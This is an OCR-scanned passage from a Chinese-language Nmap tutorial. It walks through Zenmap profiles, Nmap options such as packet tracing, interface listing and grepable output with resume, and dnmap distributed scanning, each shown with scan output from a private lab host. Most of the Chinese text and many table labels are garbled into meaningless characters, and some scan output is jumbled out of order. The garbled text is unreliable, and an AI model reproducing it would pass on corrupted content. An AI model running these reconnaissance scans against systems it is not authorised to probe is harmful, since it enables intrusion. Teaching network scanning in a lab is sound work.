and traceroute (--traceroute). Without root privileges only
version detection and script scanning are run. This is
considered an intrusive scan.

& 10.23 ffi7s, 7E Scan. Ping. Scripting. Target. Source. Other. Timing %5+, &
ITeT LAS DR S R —Leak 10, EANEIAEA U “Help” HH#R2 Basxt N AR . 7ERL & SE Rk
J& sili “Save Changes” &4 {77 5 ok vl LAAERL .

nmap -T4 -A -v | (e

[ Profile, Scan | ping] Scripting | Target] Source] Other | Timing | Help

|ty \ping| Scripting | Targer | Source | Other [ Timing| ' Endbleall sdvancedisggressive

| Scan options. | options
|| Targets (optional): ) | Enable OS detection (-0),
| i [} | version detection (-s¥) script

| N S | scanning (-sC), and traceroute

Non-TCP scans: |None =] racerouter.
i

Timing template: |Aggressive (-T4)
X

Enable all advanced/aggressive options (-A)! F

“| Operating system detection (-O) ‘E

~| Version detection (-sV) |
7] Idle Scan (Zombie) (-sI)

’ 1 1 FTP bounce attack (-b)

7] Disable reverse DNS resolution {-n)

71 1Pv6 support (-6)

AaE10.23 REPHEER

s TR

Wk 10.24 78, 7E Zenmap —E FHHIEFF Profile SE54., %% New Profile or Command.
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:MI"“M = = ) i
* | [l NewProfile or Command  Ctr se sean - Cancel! [|
| i EditSelected Profile [ R — ,D E’ Lt
d: | Arpreraercey

| o] semces | | map O [pas o] Tepoogy Mo e scas

|
|

AF 1024 FREMIER

i 10.25 s, ERHTIFHIE O Profile BEIT, FATA B @ IEM L — 4T .

wikE 10.26 Ffi7x, fE Scan. Ping. Scripting. Target. Source. Other. Timing #3254, &
AT R B ASAR AR IR T T BE

SERACE G, %8 “Save Changes” {RAFAAR o

Pk 10.27 FiR, {EFFHHA) Profile H AT DAL £ 3T &2 IR T (H H .

, , =

fsen]

P

| #rfic | can| ing | scriping| Targe | Source]| othr| Tring
l Profile name

Description

AE 1025 glRRREF
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#£10F Zenmap KM

| profie Sca | Ping| cripting| Target| soure | Othr | Timiog i P

| Scan options i

i | Attempt to discover the version
| Targets (optional): | | number of services running on
{ Topseam None E] | remote ports.

| Non-TCP scans: Nore [~

! Timing templater Aggressive (-T4) ]

[?] Enable all advanced/aggressive options (-A)
{7} Operating system detection (-0}

| [l Version detection (-sV)

1 77 1dle Scan Zombie) (-sT)

] 71 FTP bounce attack (-b)

Disable reverse DNS resolution {-n]

Target: B Profile: test
Command: nmap -sV -5l -T4 -0 -A -y

(it servees | | tmap oo o s

|
05 4 Host .

e S

AE10.27 ARFEREER
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%5 11 5% Nmap 59

FEMIR

o RIX LUK HidE B

o L% R IRI%

o fEHA AN

o X HEAPHB)

o &% Nmap [RAS

o W EH MG

o BREFRIXFEZ BRI

o B 2545 [ HE% B

o 1RE ML

o ZRaErh ki

® Nmap 5341 20 SE i ——Dnmap

® %5 Nse A

o HRMIBTT K Sk

® VMWare A UERfi#

AT =T BN A4 T Nmap (A VA DR S B3, AT TR b i Ak A
fiff PSR T L K R BB T TR RN 78, A4 Nmap o1 OFANZR o 4 (B 2043 A i3 731
AEEIN

R 111 Pror AARFTI BT Nmap ar23R, N EEREER, EHFFIHEEE,
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F 111 AERTIER
& m ®m B

--send-eth A% LA P54k £
--send-ip [ 4% 25 A Ik
--privileged TESIAG BT L
—-interactive {EAS HARA P 3
-V 757 Nmap A5
-d BEE R
—-packet-trace BREF AR RS
—iflist B 265 1 F %
-e Eispal i Ee e qm
-0G iesdasl EREi
firewalk ERDUBT K B
vmauthd-brute VMWare WAIERH fi#

11 P et

R 11.2 ion A AFE PTG Nmap tr 3K, R a2 AN P dr 2 ——RIE LK

Wl a0

® 1.2 ETR®S
% I -

--send-eth FE AR M ERE
--send-ip [ % )22 A 3%
—-privileged fi & A BT A AL
—-interactive ERZ HEA P E3)
-V T4 Nmap A S
d ARl iR es |
--packet-trace PRER AL B IR C
—-iflist B1| 2% 1 R R
-€ TRE M & 8
-0G kAP T
firewalk PRI B K i
vmauthd-brute VMWare A UEfif i




1.2 MBEXRE

--send-eth JEIH] T 5K LUK PR 6, 124 25K Nmap 7EE0R BERZ AOXIRIC, 1M
ARAEW L R RIER L. FHFEER ML, 76 UNIX 1 IEie & &8 F1%IET0, Nmap #2318 H i
IP 3.

root@Wing:~# nmap --send-eth 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 17:11 CST
Nmap scan report for 192.168.126.131
Host is up (0.00030s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds
root@Wing:~#

[0} mamns

R 113 PR ARZENPTH Nmap ar 2K, RP MM a4 /NP <

W48 =
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£11Z Nmap IS

x11.3 ATHEWS
i® M I

--send-eth RIE AR I HE B
—-send-ip ZE.I=Y #eS
—-privileged BREHH A
—-interactive FERZH A ) 3
v % Nmap lRA 5
-d piacnliines ]
--packet-trace PRER R IEHEZ HIR ST
—iflist Y| BB ORI % E
- e W e
-0G EiEedaal b
firewalk BRINB K I
vmauthd-brute VMWare WA R f#

--send-ip ZEIE K Nmap THid 48R KIARIC, A RERREHER ERIXRIC, EAEI

5 --send-eth EINAESE BriE A H BEAHANTE

Starting Nmap 6.40 ( http://nmap.org )
Nmap scan report for 192.168.126.131
Host is up (0.00024s latency).
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121 /tcp open ccproxy-ftp
3306/tcp open mysqgl

5432 /tcp open postgresqgl

root@Wing:~# nmap --send-ip 192.168.126.131

at 2014-06-13 17:14 CST



5900/tcp
6000/tcp
6667/tcp
8009/tcp
8180/tcp

Nmap done:

open
open
open
open
open

MAC Address:

root@Wing:~#

11.3 REWMBHREN

vnc
X11

ire
ajpl3
unknown

00:0C:29:E0:2E:76 (VMware)

1 IP address (1 host up) scanned in 0.16 seconds

n3 RS

R 114 Froas AARFEFT P Nmap fir &%, ZH L& AN BT fr e ——BUe #ia

AR
% 114 EBHEHS
E m L
--send-eth Kk AR M EE R
--send-ip 4% J2 3%
--privileged BEHA AR
--interactive AR EAEA A B
-V 1% Nmap 45
-d el ke 3l
--packet-trace BRER AR IR L
—iflist B2 LIRS i
-e H8 5T M4 1
-0G Ak b 4
firewalk PRI BS7 KK
vmauthd-brute VMWare A IE % fi#

--privileged K& E 3K Nmap i € H B AT 2% AR T IR ER T URIA « IOTH IR AIZRAL
UNIX R0 R A B /E AR . BRUCIRAS T, Wik 1 getuid()id K I\ 2B A A 0, Nmap

--privileged 7F A Linux WZMERERIRIIR IR AR, XL RS E VPR
F P AT CLEAT TR IR S . TR S, FE AR T A X e T AR R T (SYN
i, BE RSN . Nmap-PRIVILEGED 25 & ¥ B 264 T--privileged 27 .
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113 Nmap 515 |

root@Wing:~# nmap --privileged 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 17:18 CST
Nmap scan report for 192.168.126.131
Host is up (0.00030s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524 /tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

5432 /tcp open postgresgl

5900/tcp open vnc

6000/tcp open X11

6667/tcp open 1irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds
root@Wing: ~#

'8 S EER T E

R 115 PR AAE A d Nmap fir 3R, R IR & 0 AN TG dr &—— e B

R EE
#115 ATRGS
® W [
--send-eth RAL LK M HE |
--send-ip P & 2 R
—-privileged B E AT T AT AL
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115 % Nmap HiAS

®m % B
--interactive EXRHEBA T HE
-V 1% Nmap A S
-d athl e
--packet-trace PRER AL REZ IR L
—iflist B2 TR i
S 5 M 25452 101
-0G e el TERE
firewalk BB K5
vmauthd-brute VM Ware TAFf fi%

--interactive %5 Uf Nmap 7628 FALA A 5 8l, 1X 0 Nmap S48 B, 8 Fd T 24H
o W EAEAIXANE, FEX Shell K a4 LR

root@Wing:~# nmap —--interactive

Starting Nmap V. 6.40 ( http://nmap.org )

Welcome to Interactive Mode —-- press h <enter> for help
nmap>

T AE T4 R IEEAT PRI S

nmap> n -T4 192.168.126.163

Interesting ports on 192.168.126.163:

Not shown: 98 closed ports

PORT STATE SERVICE

80/tcp open http

443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 0.69 seconds

) =% Nmap tiks

R 11.6 T AARE T Priti Nmap 74 %, R L ar & A AN BTl i @——& % Nmap
AT o

#*11.6 ATREWL
& m L
--send-eth b2 YN €]
--send-ip L=V 853
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L
#® W -
—-privileged TE A IR
--interactive EXT AP EE)
-V #%E Nmap [RES
d BB R A
--packet-trace PR B AR B 2 B4R L
—iflist B1| 26 1R
- 7 9 4 4 1
-0G e P Wit
firewalk TR B oK S5k
vmauthd-brute VMWare A Ef# #%

-V IETEFE --version JEIT A E Nmap [FIRA(E B.

root@Wing:~# nmap -V

Nmap version 6.40 ( http://nmap.org )

Platform: i686-pc-linux-gnu

Compiled with: nmap-liblua-5.2.2 openssl-1.0.le 1libpcre-8.30 1libpcap-1.3.0 nmap-
libdnet-1.12 ipvé

Compiled without:

Available nsock engines: epoll poll select

root@Wing: ~#

e B3 TRV T

R N7 Pros WASTESTPT S Nmap #r 43, &5 & 0 AN B ar @ —— W E R

.
=17 ATHRESS
‘W L

--send-eth 3% LUK 100 4

--send-ip [ 48 2 he ik

--privileged & 52 147 T A AL

—-interactive EAZ AP 3

Y, #F Nmap JRA S
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11.6 REFKEH

B
% Om R
-d RERREA
--packet-trace BRER R IE S WIS
—iflist BB ORI EE
-e HREMSRED
-0G SR
firewalk PR B K
vmauthd-brute VM Ware A iER f#

i H-d &I BRSO . AR AR A AR AR R BEER, WTLURA-d &
W, AE-d WU HEAMA R R IEIAE R, "ATi%f 1~9, -d 9 REmMil, XnHEr=A4 m#dE
2 Z.
root@Wing:~# nmap -d 1 192.168.126.131

Starting Nmap 6.40 ( http://mmap.org ) at 2014-06-13 17:30 CST
PORTS: Using top 1000 ports found open (TCP:1000, UDP:0, SCTP:0)
——————————————— Timing report =—————wo——aoe==
hostgroups: min 1, max 100000
rtt-timeouts: init 1000, min 100, max 10000
max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
parallelism: min 0, max O
max-retries: 10, host-timeout: O
min-rate: 0, max-rate: 0
setup target: failed to determine route to 1 (0.0.0.1)
Initiating ARP Ping Scan at 17:30
Scanning 192.168.126.131 [1 port]
Packet capture filter (device eth0): arp and arp[18:4] = 0x000C2996 and arp[22:2] = 0x752B
Completed ARP Ping Scan at 17:30, 0.00s elapsed (1 total hosts)
Overall sending rates: 350.14 packets / s, 14705.88 bytes / s.
mass_rdns: Using DNS server 192.168.126.2
Initiating Parallel DNS resolution of 1 host. at 17:30
mass_rdns: 0.02s 0/1 [#: 1, OK: 0, NX: 0, DR: 0, SF: 0, TR: 1]
Completed Parallel DNS resolution of 1 host. at 17:30, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR:
1; ©N% 0]
Initiating SYN Stealth Scan at 17:30
Scanning 192.168.126.131 [1000 ports]
Packet capture filter (device eth0): dst host 192.168.126.130 and (icmp or icmp6 or ((tcp
or udp or sctp) and (src host 192.168.126.131)))
Discovered open port 80/tcp on 192.168.126.131
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% 11%F Nmap

&®I5

Discovered
Discovered
Discovered
B

Discovered
Discovered
Discovered

open
open

open

open
open

open

port
port
port

port
port
port

53/tcp on 192.168.126.131
25/tcp on 192.168.126.131
3306/tcp on 192.168.126.131

6667/tcp on 192.168.126.131
1524/tcp on 192.168.126.131
6000/tcp on 192.168.126.131

Completed SYN Stealth Scan at 17:30, 0.07s elapsed
Overall sending rates: 13382.22 packets / s, 588817.81 bytes / s.
Nmap scan report for 192.168.126.131

Host is up,

Not shown:

(1000 total ports)

received arp-response (0.00035s latency).
Scanned at 2014-06-13 17:30:32 CST for O0s

977 closed ports

Reason: 977 resets

PORT STATE SERVICE REASON

21/tcp open ftp syn-ack

22/tcp open ssh syn-ack

23/tcp open telnet syn-ack
25/tcp open smtp syn-ack
53/tcp open domain syn-ack
80/tcp open http syn-ack
111/tcp open rpcbind syn-ack
139/tcp open netbios-ssn syn-ack
445/tcp open microsoft-ds syn-ack
512/tcp open exec syn-ack
513/tcp open login syn-ack
514/tcp open shell syn-ack
1099/tcp open rmiregistry syn-ack
1524/tcp open ingreslock syn-ack
2049/tcp open nfs syn-ack
2121/tcp open ccproxy-ftp syn-ack
3306/tcp open mysqgl syn-ack
5432/tcp open postgresql syn-ack
5900/tcp open vnc syn-ack
6000/tcp open X11 syn-ack
6667/tcp open irc syn-ack
8009/tcp open ajpl3 syn-ack
8180/tcp open unknown syn-ack

MAC Address

Final times for host:

: 00:0C:29:E0:2E:76 (VMware)
srtt: 355 rttvar: 64 to: 100000

Read from /usr/bin/../share/nmap: nmap-mac-prefixes nmap-payloads nmap-services.

Nmap done:

Raw packets sent: 1001 (44.028KB) | Rcvd:
root@Wing:~#

1 IP address (1 host up) scanned in 0.17 seconds
1001 (40.120KB)



1.7 BRERRIZFBER AR

SRS K X E S MR

R 118 P AT TP Nmap i3, I AN T fiy @ ——HRE RIS &
B2 AR

% 11.8 EYFHE®mS
® W B B

--send-eth RIE LA W He s
--send-ip W% 2R 1%
--privileged e A T E AL
—-interactive TEAC H B H 5 3l
-V fr& Nmap A5
-d BRI
--packet-trace BRER RIS HZ L
—-iflist B2 B D R ol
-e TREM &N
-0G b Wi
firewalk ERIBS K s
vmauthd-brute VMWare tAEf 7

--packet-trace JEINZE & KRR, 1104 2Lz H BN LE, 1%L 22K Nmap ¥4
B AREANR AT EN R . O TAEF 204, nl DA -p 1B IR0 il 1 1 2= AR /D SR 0L,
TBAT 7.
root@Wing:~# nmap --packet-trace -p 20-30 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 17:34 CST

SENT (0.0586s) ARP who-has 192.168.126.131 tell 192.168.126.130

RCVD (0.0588s) ARP reply 192.168.126.131 is-at 00:0C:29:E0:2E:76

NSOCK INFO [0.0590s] nsi new2(): nsi_new (IOD #1)

NSOCK INFO [0.0590s] nsock connect udp(): UDP connection requested to 192.168.126.2:53
(IOD #1) EID 8

NSOCK INFO [0.0590s] nsock read(): Read request from IOD #1 [192.168.126.2:53] (timeout:
-lms) EID 18

NSOCK INFO [0.0590s] nsock_trace_handler callback(): Callback: CONNECT SUCCESS for EID
8 [192.168.126.2:53]

NSOCK INFO [0.0590s] nsock trace handler callback(): Callback: WRITE SUCCESS for EID 27
[192.168.126.2:53]
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NSOCK INFO [4.0610s] nsock trace handler callback(): Callback: WRITE SUCCESS for EID 35
[192.168.126.2:53]

NSOCK INFO [4.0770s] nsock_trace_handler callback(): Callback: READ SUCCESS for EID 18
[192.168.126.2:53] (81 bytes)

NSOCK INFO [4.0770s] nsock read(): Read request from IOD #1 [192.168.126.2:53] (timeout:
-lms) EID 42

NSOCK INFO [4.0770s] nsi delete(): nsi delete (IOD #1)

NSOCK INFO [4.0770s] msevent cancel(): msevent cancel on event #42 (type READ)

SENT (4.0794s) TCP 192.168.126.130:58690 > 192.168.126.131:23 S tt1=50 id=20236 iplen=44
seq=4147884221 win=1024 <mss 1460>

SENT (4.0802s) TCP 192.168.126.130:58690 > 192.168.126.131:21 S ttl1l=42 id=37211 iplen=44
s5eq=4147884221 win=1024 <mss 1460>

SENT (4.0808s) TCP 192.168.126.130:58690 > 192.168.126.131:25 S tt1=48 1d=28839 iplen=44
seq=4147884221 win=1024 <mss 1460>

SENT (4.0814s) TCP 192.168.126.130:58690 > 192.168.126.131:22 S tt1=43 1d=63745 iplen=44
seq=4147884221 win=1024 <mss 1460>

SENT (4.0820s) TCP 192.168.126.130:58690 > 192.168.126.131:20 S tt1=50 1id=49669 iplen=44
seq=4147884221 win=1024 <mss 1460>

SENT (4.0825s) TCP 192.168.126.130:58690 > 192.168.126.131:24 S ttl=41 id=22347 iplen=44
seq=4147884221 win=1024 <mss 1460>

SENT (4.0831s) TCP 192.168.126.130:58690 > 192.168.126.131:30 S tt1=58 id=24619 iplen=44
5eq=4147884221 win=1024 <mss 1460>

SENT (4.0836s) TCP 192.168.126.130:58690 > 192.168.126.131:26 S tt1=53 1d=64810 iplen=44
seq=4147884221 win=1024 <mss 1460>

SENT (4.0842s) TCP 192.168.126.130:58690 > 192.168.126.131:29 S ttl=51 1id=40683 iplen=44
seq=4147884221 win=1024 <mss 1460>

SENT (4.0848s) TCP 192.168.126.130:58690 > 192.168.126.131:27 S ttl=41 id=61656 iplen=44
s5eq=4147884221 win=1024 <mss 1460>

RCVD (4.0791s) TCP 192.168.126.131:23 > 192.168.126.130:58690 SA ttl=64 id=0 iplen=44
seg=2700394672 win=5840 <mss 1460>

RCVD (4.0797s) TCP 192.168.126.131:21 > 192.168.126.130:58690 SA ttl=64 id=0 iplen=44
seq=2705356047 win=5840 <mss 1460>

RCVD (4.0805s) TCP 192.168.126.131:25 > 192.168.126.130:58690 SA ttl=64 id=0 iplen=44
5eg=2695721692 win=5840 <mss 1460>

RCVD (4.0811s) TCP 192.168.126.131:22 > 192.168.126.130:58690 SA ttl=64 id=0 iplen=44
s5eq=2696301698 win=5840 <mss 1460>

RCVD (4.0817s) TCP 192.168.126.131:20 > 192.168.126.130:58690 RA ttl=64 id=0 iplen=40
seq=0 win=0

RCVD (4.0823s) TCP 192.168.126.131:24 > 192.168.126.130:58690 RA ttl=64 id=0 iplen=40
seg=0 win=0

RCVD (4.0828s) TCP 192.168.126.131:30 > 192.168.126.130:58690 RA ttl=64 id=0 iplen=40
seqgq=0 win=0

RCVD (4.0834s) TCP 192.168.126.131:26 > 192.168.126.130:58690 RA ttl=64 id=0 iplen=40
seqgq=0 win=0

RCVD (4.0839s) TCP 192.168.126.131:29 > 192.168.126.130:58690 RA ttl=64 id=0 iplen=40
segq=0 win=0

RCVD (4.0846s) TCP 192.168.126.131:27 > 192.168.126.130:58690 RA ttl=64 id=0 iplen=40
seg=0 win=0

SENT (4.0867s) TCP 192.168.126.130:58690 > 192.168.126.131:28 S ttl=54 id=16933 iplen=44
seq=4147884221 win=1024 <mss 1460>

RCVD (4.0866s) TCP 192.168.126.131:28 > 192.168.126.130:58690 RA ttl=64 id=0 iplen=40



seq=0 win=0

Nmap scan report for 192.168.126.131
Host is up (0.00021s latency).
PORT STATE SERVICE

20/tcp closed ftp-data

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

24/tcp closed priv-mail
25/tcp open smtp

26/tcp closed rsftp

27/tcp closed nsw-fe

28/tcp closed unknown

29/tcp closed msg-icp

30/tcp closed unknown

Nmap done: 1 IP address (1 host up)

root@Wing: ~#

18 EIET LT

MAC Address: 00:0C:29:E0:2E:76 (VMware)

H@mﬂﬁﬁq@%Q

scanned in 4.11 seconds

R 11.9 Fros AAEA T Nmap it 22, R an& A AN f ar &——FI3 8 O M

.
£1.9 AYFFEGS
% m " B
—-send-eth 3% LA 1o B4 £,
--send-ip P4 2% 22 R %
—privileged e AT T AL
—-interactive A A B
-V 4 Nmap A5
-d BE IR
--packet-trace PRER R SZ AR 3L
—iflist FlAsE: O A BE
e i 4 P 1
-0G AL TR
firewalk ERINETT H il
vmauthd-brute VM Ware A U fif fi#

~-iflist 2% ¥ JF Nmap T B HAG I B R4 DA g 1, 2 HI TR aes .
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#£11%Z Nmap 15

root@Wing:~# nmap --iflist www.Oday.co
Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 17:36 CST

hhkkhkkkkhkhkhhkAkhkhkkkk *x*A* TNTERFACES* * * % % k% %k ok &k k& &k kok ok k ok k%

DEV (SHORT) IP/MASK TYPE UP MTU MAC

**************************ROUTES**************************

DST/MASK DEV METRIC GATEWAY
192.168.126.0/24 eth0 0

0.0.0.0/0 eth0 0 192.168.126.2
::1/128 lo 0
fe80::20c:29ff:fe96:752b/128 le 0

fe80::/64 eth0 256

££00::/8 eth0 256

root@Wing:~#

lo (lo) 127.0.0.1/8 loopback up 65536

lo (lo) ::1/128 loopback up 65536

ethO0 (eth0) 192.168.126.130/24 ethernet up 1500 00:0C:29:96:75:2B
eth0 (eth0) £fe80::20c:29ff:fef96:752b/64 ethernet up 1500 00:0C:29:96:75:2B

#1110 Fin A AT P # Nmap fr@3, XTI 0 A/ 19 B i a5 & M &%
B,
% 11.10 ATERF iy
& W A

--send-eth RIE DK M A
--send-ip W28 2 1%
—privileged B AR
—-interactive FER AR E 3
v A% Nmap A5
d BB IR A
--packet-trace Rk R A% B2 RS
—-iflist B2 1 A i
-e wEMKED
-G YREL I
firewalk TR K1
vmauthd-brute VM Ware A ERE AR




11.9 IEBEMEKEDO

- METAT LAFE RE WA M 4842 LUROR O . A6 F — TSN .

ethO0

lo

root@Wing:~# ifconfig

Link encap:Ethernet HWaddr 00:0c:29:96:75:2b

inet addr:192.168.126.130 Bcast:192.168.126.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe%96:752b/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:316840 errors:15 dropped:0 overruns:0 frame:0

TX packets:374973 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:93509186 (89.1 MiB) TX bytes:33407506 (31.8 MiB)
Interrupt:19 Base address:0x2000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:19013 errors:0 dropped:0 overruns:0 frame:0
TX packets:19013 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:867762 (847.4 KiB) TX bytes:867762 (847.4 KiB)

root@Wing: ~#

PATIHETE M eth0 A% HHE .

PORT
21/tcp
22/tcp
23/tcp
25/tcp
53/tcp
80/tcp
111/tcp
139/tcp
445/tcp
512/tcp
513/tcp
514/tcp
1099/tcp
1524/tcp
2049/tcp
2121/tcp
3306/tcp
5432/tcp
5900/tcp

root@Wing:~# nmap -e eth0 192.168.126.131

Starting Nmap 6.40 ( http://nmmap.org ) at 2014-06-13 17:39 CST
Nmap scan report for 192.168.126.131

Host is up (0.00029s latency).

Not shown: 977 closed ports

STATE SERVICE
open ftp

open ssh

open telnet

open smtp

open domain

open http

open rpcbind
open netbios-ssn
open microsoft-ds
open exec

open login

open shell

open rmiregistry
open ingreslock
open nfs

open ccproxy-ftp
open mysqgl

open postgresql
open vnc
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6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown

root@Wing:~#

I s

R L1 P AT PT#G Nmap @723, KA I & AN P fn & ——4k kb

%112 Nmap#&I5

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds

U TEEE
F 1.1 ATR®L
% I [
--send-eth R LA 4
--send-ip FRE% 2R 1%
--privileged BUESA T E L
—-interactive AR H AR A B
-V A F Nmap [F4 S
-d WE R )
--packet-trace BRER R IE B IR S
—iflist B2 LRI el
- FRoE ek
-0G gieodasl RSt
firewalk FRBUBS K1
vmauthd-brute VMWare WAERH fi#

--resume JZEI0 ] AR W4, ZETEH Nmap 14 99 4% 1 B ] fE 2 1 S 1R K e st Ja],
H R TATTT e 75 AL 2 A A BOATFI R, 50 i1 S0A K SR R 5 B 2% i, 3RATTar LA
H--resume GEIRRELHH, (HAAZEL A -oN LI # -0G ZE AL .
A -0G B AL RIRAF N TXT, RiGEH#IE R 3% T ColtC Kimdis.
root@Wing:~# nmap -oG 1.txt —-v 192.168.126.1/24

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 17:54 CST
Initiating ARP Ping Scan at 17:54
Scanning 255 hosts [l port/host]
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Completed
Initiating
Completed
Nmap
Nmap
Nmap
Nmap
Nmap scan
.mgmgm

Nmap scan
Nmap scan
Nmap scan
Nmap
Initiating
Completed
Initiating
Scanning 4
Discovered

scan
scan
scan
scan

scan

Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Completed

Completed

root@Wing:

ARP Ping Scan at 17:54, 1.95s elapsed (255 total hosts)
Parallel DNS resolution of 255 hosts. at 17:54
Parallel DNS resolution of 255 hosts. at 17:54,
report for 192.168.126. [host down]

report for 192.168.126. [host down]

report 192.168.126. [host
report 192.168.126.5 [host
report 192.168.126. [host

0.03s elapsed

for down]
down]

down]

for

oY U WO

for

192.
192,

168.
168.

126.
126.252

for 251
for

for

report
report

[host down]
[host down]
report 192.168.126.253 [host down]
report for 192.168.126.255 [host down]
Parallel DNS resolution of 1 host. at 17:54
Parallel DNS resolution of 1 host. at 17:54,
SYN Stealth Scan at 17:54

hosts [1000 ports/host]

open port 21/tcp on 192.168.126.131

open port 3306/tcp on 192.168.126.131

open port 80/tcp on 192.168.126.131

open port 22/tcp on 192.168.126.131

open port 25/tcp on 192.168.126.131

open port 111/tcp on 192.168.126.131

open port 23/tcp on 192.168.126.131

open port 5900/tcp on 192.168.126.131

open port 139/tcp on 192.168.126.131

open port 53/tcp on 192.168.126.131

open port 445/tcp on 192.168.126.131

open port 6000/tcp on 192.168.126.131

open port 53/tcp on 192.168.126.2
open port 8180/tcp on 192.168.126.
open port 6667/tcp on 192.168.126.
open port 1524/tcp on 192.168.126.
open port 8009/tcp 192.168.126.
open port 2049/tcp 192.168.126.131

open port 5432/tcp on 192.168.126.131

open port 512/tcp on 192.168.126.131

open port 1099/tcp on 192.168.126.131

open port 2121/tcp on 192.168.126.131

open port 514/tcp on 192.168.126.131

open port 513/tcp on 192.168.126.131
SYN Stealth Scan against 192.168.126.2 in 0.17s (3 hosts left)
SYN Stealth Scan against 192.168.126.131 in 0.17s (2 hosts left)

0.02s elapsed

131
131
131
on 131

on

~#

F Al 1458 F --resume ZE T4k L4714

root@Wing:

Starting Nmap 6.40

Initiating

~# nmap --resume l.txt

( http://nmap.org ) at 2014-06-13 17:54 CST

ARP Ping Scan at 17:54
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Scanning 2 hosts [1 port/host]

Completed ARP Ping Scan at 17:54, 0.20s elapsed (2 total hosts)
Initiating Parallel DNS resolution of 2 hosts. at 17:54

Completed Parallel DNS resolution of 2 hosts. at 17:54, 0.02s elapsed
Nmap scan report for 192.168.126.255 [host down]

Initiating SYN Stealth Scan at 17:54

Scanning 192.168.126.254 [1000 ports]

Completed SYN Stealth Scan at 17:54, 21.24s elapsed (1000 total ports)
Nmap scan report for 192.168.126.254

Host is up (0.000090s latency) .

All 1000 scanned ports on 192.168.126.254 are filtered

MAC Address: 00:50:56:FC:2E:96 (VMware)

Read data files from: /usr/bin/../share/nmap

Nmap done: 2 IP addresses (1 host up) scanned in 21.54 seconds
Raw packets sent: 2003 (88.084KB) | Rcvd: 1 (28B)

root@Wing: ~4

A LA £ Nmap 4R34, S BUR R &5 RO 1.axto

DLl Nmap #9472 S 5—Dnmap

Dnmap 25T Nmap B0 A aCHESE, 020 i/ e 5 i 2 A) IR S5 a3l @ JF &

K% AT Nmap 22438, A ein, ZrmRREme R,

B IATSEAE http://sourceforge.net/projects/dnmap/ I 2 Dnmap.

root@Wing: /home/dnmap# wget http://sourceforge.net/projects/dnmap/files/dnmap v0.6.tgz
--2014-06-13 18:07:04-- http://sourceforge.net/projects/dnmap/files/dnmap v0.6.tgz
B

100%( = = >] 12,609 2.67K/s FAE 29s

2014-06-13 18:07:39 (434 B/s) - ER#F “dnmap v0.6.tgz” [12609/12609]
root@Wing: /home/dnmap#
BEEHES.
root@Wing: /home/dnmap/dnmap v0.6# ./dnmap server.py
dnmap server Version 0.6
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by

(at your option) any later version.

| |
| |
| |
| the Free Software Foundation; either version 2 of the License, or
\ |
\ \
| Author: Garcia Sebastian, eldraco@gmail.com |
\ I

www.mateslab.com.ar



11.11 Nmap (9% # £ H—Dnmap

usage: ./dnmap_server.py <options>

options:

-f, --nmap-commands Nmap commands file

-p, —-—-port TCP port where we listen for connections.

-L, --log-file Log file. Defaults to /var/log/dnmap_server.conf.

-1, --log-level Log level. Defaults to info.

-v, --verbose_level Verbose level. Give a number between 1 and 5. Defaults to 1.
Level 0 means be quiet.

-t, -—client-timeout How many time should we wait before marking a client Offline.
We still remember its values just in case it cames back.

-s, =-—-sort Field to sort the statical value. You can choose from: alias, #Commands,
UpTime, RunCmdXMin, AvrCmdXMin, Status

-P, ——pem-file pem file to use for TLS connection. By default we use the server.pem

file provided with the server in the current directory.

dnmap server uses a '<nmap-commands-file-name>.dnmaptrace' file to know where it must
